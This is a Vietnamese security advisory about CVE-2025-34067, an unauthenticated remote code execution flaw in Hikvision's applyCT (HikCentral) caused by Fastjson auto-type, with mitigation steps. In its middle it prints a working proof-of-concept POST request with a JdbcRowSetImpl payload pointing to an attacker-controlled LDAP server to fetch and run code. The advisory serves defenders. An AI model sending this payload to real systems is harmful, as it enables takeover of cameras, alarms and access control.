Hikvision dính lỗ hổng 'tử huyệt': Hacker chiếm quyền giám sát chỉ với 1 lệnh

[WhiteHat Team]

Một lỗ hổng bảo mật nghiêm trọng có mã CVE-2025-34067 đã được phát hiện trong nền tảng quản lý an ninh applyCT (trước đây gọi là HikCentral) của Hikvision - nhà sản xuất thiết bị giám sát nổi tiếng thế giới. Với điểm CVSS 10.0 - mức nguy hiểm cao nhất, lỗ hổng này cho phép tin tặc thực thi lệnh từ xa (RCE) mà không cần đăng nhập, gây rủi ro lớn cho hàng ngàn hệ thống giám sát trên toàn cầu.

​

Nền tảng applyCT của Hikvision là giải pháp quản lý an ninh tập trung được triển khai rộng rãi trong các doanh nghiệp, cơ quan chính phủ và khu công nghiệp. Hệ thống này cho phép kiểm soát và điều phối toàn diện các thiết bị an ninh, bao gồm:

• Camera giám sát
• Hệ thống kiểm soát ra vào và liên lạc nội bộ
• Thiết bị báo động và cảm biến an ninh

Nhờ khả năng tích hợp linh hoạt và quy mô mở rộng, applyCT trở thành lựa chọn hàng đầu cho các môi trường yêu cầu an ninh nghiêm ngặt và giám sát liên tục, cũng chính vì thế, nó trở thành mục tiêu hấp dẫn của các cuộc tấn công mạng.

Lỗ hổng nguy hiểm như thế nào?​

Lỗ hổng bảo mật CVE-2025-34067 trong nền tảng Hikvision applyCT được đánh giá với điểm CVSS tuyệt đối 10/10, mức cao nhất trong hệ thống đánh giá mức độ nghiêm trọng CVSS v4, cho thấy đây là một lỗ hổng cực kỳ nghiêm trọng, cần được xử lý ngay lập tức.

Đặc biệt, lỗ hổng này không yêu cầu xác thực, tức là hacker có thể khai thác từ xa mà không cần bất kỳ quyền truy cập nào. Chỉ cần gửi một yêu cầu POST đến endpoint /bic/ssoService/v1/applyCT với payload được thiết kế đặc biệt, tin tặc có thể chiếm quyền điều khiển hệ thống.

Nguyên nhân gốc rễ đến từ việc sử dụng thư viện Fastjson – một thư viện Java phổ biến dùng để xử lý dữ liệu JSON. Trong cấu hình không an toàn, tính năng auto-type của thư viện này cho phép tải và thực thi các class Java từ nguồn bên ngoài. Hacker có thể lợi dụng điều này bằng cách tạo một JSON payload chỉ định tải JdbcRowSetImpl từ một LDAP server do chính họ kiểm soát, từ đó thực thi mã độc trên hệ thống mục tiêu.

Đáng chú ý, kỹ thuật tấn công này không hề phức tạp, đã được khai thác phổ biến trong các cuộc tấn công RCE qua deserialization trước đây, và hoàn toàn có thể tự động hóa. Một kịch bản khai thác điển hình chỉ cần:

• Khởi chạy một LDAP server chứa mã độc.
• Gửi POST request chứa payload JSON đến endpoint nói trên.
• Hệ thống sẽ tự động tải và thực thi mã độc mà không có bất kỳ xác thực hay cảnh báo nào.

Dưới đây là ví dụ payload đơn giản được sử dụng trong proof-of-concept để khai thác lỗ hổng:

POST /bic/ssoService/v1/applyCT
Content-Type: application/json

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://xxx.xxx.xxx.xxx/Basic/TomcatEcho",
"autoCommit": true
},
"hfe4zyyzldp": "="
}

Payload trên được gửi đến endpoint /bic/ssoService/v1/applyCT thông qua một yêu cầu POST. Bằng cách thao túng tham số dataSourceName để trỏ đến một máy chủ LDAP không đáng tin cậy do hacker kiểm soát, kẻ tấn công có thể chiếm quyền điều khiển hệ thống mục tiêu.

Nếu bị khai thác thành công, tin tặc có thể:

• Chiếm toàn quyền kiểm soát hệ thống giám sát, bao gồm camera, báo động, kiểm soát ra vào.
• Vô hiệu hóa hệ thống an ninh, theo dõi ngược hình ảnh hoặc làm gián đoạn hoàn toàn hoạt động giám sát.
• Di chuyển ngang trong mạng nội bộ để xâm nhập sâu hơn (lateral movement).
• Đánh cắp hoặc làm rò rỉ dữ liệu nhạy cảm.

Khuyến cáo khẩn cấp​

Nếu tổ chức của bạn đang sử dụng nền tảng Hikvision applyCT hoặc bất kỳ phiên bản nào của HikCentral, hãy thực hiện ngay các bước sau để bảo vệ hệ thống:

• Kiểm tra xem hệ thống có đang mở endpoint /bic/ssoService/v1/applyCT ra Internet hay không.
• Cập nhật ngay thư viện Fastjson lên phiên bản đã được vá lỗi, hoặc áp dụng bản vá bảo mật mới nhất do Hikvision cung cấp.
• Ngắt kết nối hệ thống với Internet, trừ khi thực sự cần thiết.
• Giám sát chặt chẽ lưu lượng mạng, đặc biệt là các kết nối đến/đi từ máy chủ LDAP đáng ngờ.

Nếu không xử lý kịp thời, hệ thống có thể đối mặt với:

• Mất dữ liệu và hình ảnh giám sát
• Tổn thất tài chính nghiêm trọng
• Hệ thống an ninh bị chiếm quyền điều khiển từ xa

Đây là một lỗ hổng có mức độ nghiêm trọng cao, không chỉ đe dọa đến dữ liệu mà còn ảnh hưởng trực tiếp đến an toàn vật lý của toàn hệ thống giám sát. Việc chủ động kiểm tra và cập nhật kịp thời không chỉ giúp bảo vệ tổ chức khỏi các cuộc tấn công mạng mà còn duy trì sự ổn định, tin cậy của hệ thống an ninh trong dài hạn.

Theo Cyber Press​